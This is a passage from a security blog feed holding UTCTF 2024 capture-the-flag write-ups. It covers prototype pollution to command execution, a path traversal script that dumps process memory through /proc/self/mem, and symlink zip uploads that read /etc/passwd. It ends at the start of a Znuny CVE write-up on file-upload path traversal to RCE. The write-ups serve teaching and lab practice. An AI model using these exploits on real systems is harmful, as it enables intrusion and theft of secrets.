        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]])</span> <span class="o">&amp;&amp;</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]))</span> <span class="p">{</span>
            <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]].</span><span class="nx">concat</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="nx">cmd</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">./merger.sh</span><span class="dl">"</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">secret</span><span class="p">.</span><span class="nx">cmd</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">cmd</span> <span class="o">=</span> <span class="nx">secret</span><span class="p">.</span><span class="nx">cmd</span><span class="p">;</span>
    <span class="p">}</span>

    
    <span class="kd">var</span> <span class="nx">test</span> <span class="o">=</span> <span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">stdout</span><span class="p">,</span> <span class="nx">stderr</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">retObj</span> <span class="o">=</span> <span class="p">{};</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">merged</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">orig</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">err</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">err</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">stdout</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stdout</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">stderr</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stderr</span><span class="p">;</span>
        <span class="nx">process</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">retObj</span><span class="p">);</span>
    <span class="p">});</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">test</span><span class="p">);</span>
<span class="p">});</span>

</code></pre></div></div>
<p>In this case the goal of the challenge is “edit” (pollute) the <code class="language-plaintext highlighter-rouge">secret.cmd</code> with a os command like <code class="language-plaintext highlighter-rouge">cat ./flag.txt</code> , to do this we need to understand first how prototype pollution works (<a href="https://portswigger.net/web-security/prototype-pollution/server-side">PortSwigger Docs</a> , <a href="https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution">Hacktricks Docs</a>)</p>

<p>We added some <code class="language-plaintext highlighter-rouge">console.log()</code> for debugging purpose , to understand how our input is processed during the execution :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="k">typeof</span> <span class="nx">obj</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">function</span><span class="dl">'</span> <span class="o">||</span> <span class="k">typeof</span> <span class="nx">obj</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">object</span><span class="dl">'</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">var</span> <span class="nx">secret</span> <span class="o">=</span> <span class="p">{}</span>

<span class="kd">const</span> <span class="p">{</span><span class="nx">exec</span><span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">process</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">m</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="se">\n\n</span><span class="s2"> =========NEW REQUEST MERGE============== </span><span class="se">\n\n</span><span class="dl">"</span><span class="p">)</span>
    <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">m</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span> <span class="c1">// data: { attributes: [ '__proto__' ], values: [ [Object] ] }</span>
    <span class="kd">let</span> <span class="nx">orig</span> <span class="o">=</span> <span class="nx">m</span><span class="p">.</span><span class="nx">orig</span><span class="p">;</span> <span class="c1">// orig: { BBBB: 'BBBB', cid: 1 }</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="s2"> Print data object: </span><span class="se">\n</span><span class="dl">"</span><span class="p">,</span><span class="nx">data</span><span class="p">,</span><span class="dl">"</span><span class="se">\n</span><span class="s2">Print orig object</span><span class="se">\n</span><span class="dl">"</span><span class="p">,</span><span class="nx">orig</span><span class="p">)</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">k</span> <span class="o">&lt;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]])</span> <span class="o">&amp;&amp;</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]))</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Inside first IF : orig[data.attributes[k]] = </span><span class="dl">"</span><span class="p">,</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]])</span>
            
            <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">])</span> <span class="p">{</span>
            
                <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`\n Inside FOR :  \n\tkey = </span><span class="p">${</span><span class="nx">key</span><span class="p">}</span><span class="s2"> \n\t data.values[k] = </span><span class="p">${</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]}</span><span class="s2"> `</span><span class="p">)</span>
            
                <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]][</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">][</span><span class="nx">key</span><span class="p">];</span>
                <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`\norig[</span><span class="p">${</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]}</span><span class="s2">][</span><span class="p">${</span><span class="nx">key</span><span class="p">}</span><span class="s2">] = data.values[</span><span class="p">${</span><span class="nx">k</span><span class="p">}</span><span class="s2">][</span><span class="p">${</span><span class="nx">key</span><span class="p">}</span><span class="s2">]\n`</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]])</span> <span class="o">&amp;&amp;</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]))</span> <span class="p">{</span>
            
            <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]].</span><span class="nx">concat</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            
            <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="nx">cmd</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">./merger.sh</span><span class="dl">"</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">secret</span><span class="p">.</span><span class="nx">cmd</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">cmd</span> <span class="o">=</span> <span class="nx">secret</span><span class="p">.</span><span class="nx">cmd</span><span class="p">;</span>
    <span class="p">}</span>

    
    <span class="kd">var</span> <span class="nx">test</span> <span class="o">=</span> <span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">stdout</span><span class="p">,</span> <span class="nx">stderr</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">retObj</span> <span class="o">=</span> <span class="p">{};</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">merged</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">orig</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">err</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">err</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">stdout</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stdout</span><span class="p">;</span>
        <span class="nx">retObj</span><span class="p">[</span><span class="dl">'</span><span class="s1">stderr</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stderr</span><span class="p">;</span>
        <span class="nx">process</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">retObj</span><span class="p">);</span>
    <span class="p">});</span>
    <span class="c1">//console.log(test);</span>
<span class="p">});</span>

</code></pre></div></div>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/5.jpg" alt="" /></p>

<p>So if we send a legit HTTP request , we can see some debugging log but the first IF statement is not satisfied because the <code class="language-plaintext highlighter-rouge">isObject()</code> is false , so we can try to pollute <code class="language-plaintext highlighter-rouge">cmd</code> property :</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/6.jpg" alt="" /></p>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/7.jpg" alt="" /></p>

<p>You can try in your local machine , just download the <a href="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/src/">src</a> and build with docker-compose</p>

<hr />

<h1 id="home-on-the-range">Home on the Range</h1>

<p>Challenge category : web<br />
Description :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I wrote a custom HTTP server to play with obscure HTTP headers.

By Jonathan (@JBYoshi on discord)


Unlock Hint for 0 points
If it seems like something's missing, that's completely intentional; you should be able to figure out why it's missing and where it currently is. You don't need to do any brute force guessing to figure out what that missing thing is.
</code></pre></div></div>

<p>The challenge is a simple webserver that responds only to get requests, after some initial testing and taking a look at the <a href="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/src/server.py">SOURCE</a> , I noticed that it is vulnerable to path traversal
<img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/1.jpg" alt="" /></p>

<p>In the source we see the path of the flag.txt hardcoded but if we try to send an http request it will give us 404 status code, because the file does not exist it is removed by the instruction : <code class="language-plaintext highlighter-rouge">os.remove(FLAG_PATH)</code> , so the flag is stored in a variable <code class="language-plaintext highlighter-rouge">the_flag</code></p>

<p><img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/2.jpg" alt="" /></p>

<p>therefore the only way to read it is to analyze the process memory and to do this we use path traversal to navigate to /proc/self/…</p>

<p>First we take a look at /proc/self/maps (<a href="https://www.baeldung.com/linux/proc-id-maps">docs</a>) that is a “symlink” to the /proc/$PID/maps .
Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/5.jpg" alt="" /></p>

<p>then we can use the obtained memory address ranges to read memory regions, sending an http request to /proc/self/mem (<a href="https://unix.stackexchange.com/a/6302">docs</a>) with RANGE header</p>

<p>looking at the <a href="./src/server.py">SOURCE</a> we notice that the server accepts the RANGE header (<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Range">Range header docs</a>)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The Range HTTP request header indicates the parts of a resource that the server should return. Several parts can be requested at the same time in one Range header, and the server may send back these ranges in a multipart document. If the server sends back ranges, it uses the 206 Partial Content status code for the response. If the ranges are invalid, the server returns the 416 Range Not Satisfiable error.
</code></pre></div></div>
<p><img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/3.jpg" alt="" /></p>

<p><img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/4.jpg" alt="" /></p>

<p>So to “dump” the entire process memory I used this python <a href="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/src/exploit.py">script</a> :</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">socket</span>

<span class="k">def</span> <span class="nf">send_http_request</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">request</span><span class="p">):</span> <span class="c1"># we use Socket module instead of Request module because the HTTP response has a Content-Length: 0 so Request ignores the content of the response
</span>    
    <span class="n">client_socket</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
    
    <span class="k">try</span><span class="p">:</span>
        <span class="n">client_socket</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>

        <span class="n">client_socket</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
        <span class="n">response</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
        <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
            <span class="n">part</span> <span class="o">=</span> <span class="n">client_socket</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">part</span><span class="p">:</span>
                <span class="k">break</span>
            <span class="n">response</span> <span class="o">+=</span> <span class="n">part</span>
        
        <span class="k">return</span> <span class="n">response</span><span class="p">.</span><span class="n">decode</span><span class="p">()</span>
    
    <span class="k">finally</span><span class="p">:</span>
        <span class="n">client_socket</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">read_mem_range</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">):</span>
    <span class="n">url</span> <span class="o">=</span> <span class="s">"http://localhost:3000/../../../../../../../../../../../../../proc/self/mem"</span>
    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"Host"</span><span class="p">:</span> <span class="s">"localhost:3000"</span><span class="p">,</span>
        <span class="s">"Range"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"bytes=</span><span class="si">{</span><span class="n">start</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">end</span><span class="si">}</span><span class="s">"</span><span class="p">,</span>
        <span class="s">"Connection"</span><span class="p">:</span> <span class="s">"close"</span>
    <span class="p">}</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Request</span><span class="p">(</span><span class="n">method</span><span class="o">=</span><span class="s">'GET'</span><span class="p">,</span><span class="n">url</span><span class="o">=</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
    <span class="n">prep</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">prepare</span><span class="p">()</span>
    <span class="n">prep</span><span class="p">.</span><span class="n">url</span> <span class="o">=</span> <span class="n">url</span> 
   
    <span class="n">response</span><span class="o">=</span><span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">prep</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">.</span><span class="n">content</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">host</span> <span class="o">=</span> <span class="s">"localhost"</span>
    <span class="n">port</span> <span class="o">=</span> <span class="mi">3000</span>
    <span class="n">http_request</span> <span class="o">=</span> <span class="s">"GET /../../../../../../../../../../../../../proc/self/maps HTTP/1.1</span><span class="se">\r\n</span><span class="s">Host: localhost:3000</span><span class="se">\r\n</span><span class="s">Connection: close</span><span class="se">\r\n\r\n</span><span class="s">"</span>
    <span class="n">response</span> <span class="o">=</span> <span class="n">send_http_request</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">http_request</span><span class="p">)</span>
    <span class="n">content</span><span class="o">=</span><span class="n">response</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\r\n\r\n</span><span class="s">"</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="c1"># Skip HTTP headers
</span>    <span class="k">if</span> <span class="n">content</span><span class="p">:</span>
        <span class="n">lines</span> <span class="o">=</span> <span class="n">content</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>  
        <span class="n">ranges</span> <span class="o">=</span> <span class="p">[</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span> <span class="k">if</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()]</span>  <span class="c1"># Extract memory ranges
</span>        <span class="n">dec_ranges</span> <span class="o">=</span> <span class="p">[</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="nb">int</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="nb">int</span><span class="p">(</span><span class="n">end</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span><span class="si">}</span><span class="s">"</span> <span class="k">for</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span> <span class="ow">in</span> <span class="p">(</span><span class="n">range_</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">)</span> <span class="k">for</span> <span class="n">range_</span> <span class="ow">in</span> <span class="n">ranges</span><span class="p">)]</span>

        <span class="c1"># Read memory for each range
</span>        <span class="k">for</span> <span class="n">range_</span> <span class="ow">in</span> <span class="n">dec_ranges</span><span class="p">:</span>
            <span class="n">start</span><span class="p">,</span> <span class="n">end</span> <span class="o">=</span> <span class="n">range_</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">)</span>
            <span class="n">mem_content</span> <span class="o">=</span> <span class="n">read_mem_range</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">mem_content</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="n">mem_content</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">))</span>  <span class="c1"># Decode memory content to string
</span>            <span class="k">else</span><span class="p">:</span>
                <span class="c1">#print(f"Failed to read memory range: {range_}")
</span>                <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Failed to retrieve /proc/self/maps: </span><span class="si">{</span><span class="n">response</span><span class="p">.</span><span class="n">status_code</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>


</code></pre></div></div>

<p>Let’s start the script and redirect the output to a file <code class="language-plaintext highlighter-rouge">python exploit.py &gt; output.txt</code>
now in the <code class="language-plaintext highlighter-rouge">output.txt</code> file we have the dumped contents of the memory in raw bytes, we can pipe it with <code class="language-plaintext highlighter-rouge">strings</code> and <code class="language-plaintext highlighter-rouge">grep</code> to extract the flag which we know has the format <code class="language-plaintext highlighter-rouge">flag{...}</code>  (in my case because I started the server locally)
<img src="/assets/2024-04-01-utctf-writeup/Home_on_the_Range/images/6.jpg" alt="" /></p>

<hr />

<h1 id="schrödinger">Schrödinger</h1>
<p>Challenge category: Web&lt;/br&gt;
Description &lt;/br&gt;</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hey, my digital cat managed to get into my server and I can't get him out.

The only thing running on the server is a website a colleague of mine made.

Can you find a way to use the website to check if my cat's okay? He'll likely be in the user's home directory.

You'll know he's fine if you find a "flag.txt" file.
</code></pre></div></div>
<h2 id="overview">Overview</h2>
<p>Basically we are prompted in front of a simple web page that asks you to upload a <em>ZIP</em> file then it will display its content</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Schrödinger/images/webpage.png" alt="webpage" /></p>

<p>We can already guess what’s the vulnerability here, and more specifically the scenario is about <a href="https://book.hacktricks.xyz/pentesting-web/file-upload#zip-tar-file-automatically-decompressed-upload">Zip File Automatically decompressed Upload</a></p>

<p>To briefly describe the steps</p>
<ol>
  <li>Create a symbolic link to the target file (i.e /etc/passwd)</li>
  <li>Create a Zip Archive that contains that symlink</li>
  <li>Upload and read the content of the dereferenced symlink</li>
</ol>

<p>The only thing here is to figure out where the flag is located, we can read <em>/etc/passwd</em> in order to get the user running on the machine and then guess the flag location as /home/[user]/flag.txt</p>

<h2 id="solution">Solution</h2>
<p>Create a zip to read /etc/passwd as explained before</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ln -s /etc/passwd test
zip --symlinks test.zip test
</code></pre></div></div>
<p><img src="/assets/2024-04-01-utctf-writeup/Schrödinger/images/passwd.png" alt="etcpasswd" /></p>

<p>The user is <em>copenhagen</em> (the only one with /bin/sh) and now we can proceed to read /home/copenhagen/flag.txt</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir /home/copenhagen
touch /home/copenhagen/flag.txt
ln -s /home/copenhagen/flag.txt flag
zip --symlinks test.zip flag
</code></pre></div></div>
<p>and here’s the flag</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Schrödinger/images/flag.png" alt="flag" /></p>

<p>I’ve also included the python <a href="/assets/2024-04-01-utctf-writeup/Schrödinger/src/server.py">source</a> for the application, still dumped with the symlink vulnerability, but index.html and file_upload.html are not included</p>]]></content><author><name>Martino Spagnuolo</name></author><category term="ctf" /><summary type="html"><![CDATA[Writeups of some challenges from UTCTF 2024]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/img/og-home.png" /><media:content medium="image" url="https://r3verii.github.io/assets/img/og-home.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Znuny OTRS CVEs : CVE-2024-32491, CVE-2024-32492, CVE-2024-32493</title><link href="https://r3verii.github.io/cve/2024/03/20/znuny-cves.html" rel="alternate" type="text/html" title="Znuny OTRS CVEs : CVE-2024-32491, CVE-2024-32492, CVE-2024-32493" /><published>2024-03-20T08:14:54+00:00</published><updated>2024-03-20T08:14:54+00:00</updated><id>https://r3verii.github.io/cve/2024/03/20/znuny-cves</id><content type="html" xml:base="https://r3verii.github.io/cve/2024/03/20/znuny-cves.html"><![CDATA[<h1 id="cve-2024-32491---file-upload-path-traversal-to-rce">CVE-2024-32491 |  File upload path traversal to RCE</h1>

<p><strong>Overview</strong></p>
<ul>
  <li>Date : 2024-04-17</li>
  <li>Affected : All versions of Znuny and Znuny LTS from 6.0.31 up to and including 6.5.7. All versions of Znuny from 7.0.1 up to and including 7.0.16.</li>
  <li>Severity : Critical</li>
  <li>CVE : CVE-2024-32491</li>
  <li>Resources : <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-32491">NVD</a> - <a href="https://www.znuny.org/en/advisories/zsa-2024-01">Znuny Advisory</a></li>
</ul>

<p><strong>Premise</strong> : In default installations (that use the DB module for cached file uploads), this vulnerability is not present. So to exploit this vulnerability , you need to set <code class="language-plaintext highlighter-rouge">Kernel::System::Web::UploadCache::FS</code></p>

<p><img src="/assets/2024-03-20-znuny-cves/images/image.png" alt="" /></p>

<p>The vulnerability is in the creation/editing form of a ticket, where an attachment can be uploaded.</p>

<p>A logged-in user can upload a file (via a manipulated AJAX Request) to an arbitrary writable location by traversing paths. Arbitrary code can be executed if this location is publicly available through the web server.</p>

<p>Let’s take a look at the source code, <code class="language-plaintext highlighter-rouge">/Kernel/System/Web/UploadCache/FS.pm:144</code> <a href="https://github.com/znuny/Znuny/blob/7c1e60ccc737b046c1e96fe1b0554fcf1c68f6f7/Kernel/System/Web/UploadCache/FS.pm#L144">GitHub</a></p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">sub </span><span class="nf">FormIDAddFile</span> <span class="p">{</span>
    <span class="k">my</span> <span class="p">(</span> <span class="nv">$Self</span><span class="p">,</span> <span class="nv">%Param</span> <span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>

    <span class="p">[</span><span class="o">...</span><span class="p">]</span>

    <span class="c1"># get main object</span>
